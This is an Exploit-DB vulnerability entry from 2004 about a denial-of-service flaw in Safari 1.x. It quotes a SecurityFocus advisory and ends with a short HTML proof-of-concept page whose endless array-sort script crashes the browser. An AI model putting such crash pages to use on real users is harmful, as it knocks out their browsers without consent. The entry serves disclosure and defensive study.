Apple Safari Web Browser 1.x Infinite Array Sort Denial of Service Vulnerability

2004-11-25T00:00:00
ID EDB-ID:24780
Type exploitdb
Reporter Berend-Jan Wever
Modified 2004-11-25T00:00:00

Description

Apple Safari Web Browser 1.x Infinite Array Sort Denial Of Service Vulnerability. Dos exploit for osx platform

                                        
                                            source: http://www.securityfocus.com/bid/11759/info

Apple Safari Web Browser is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.

<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>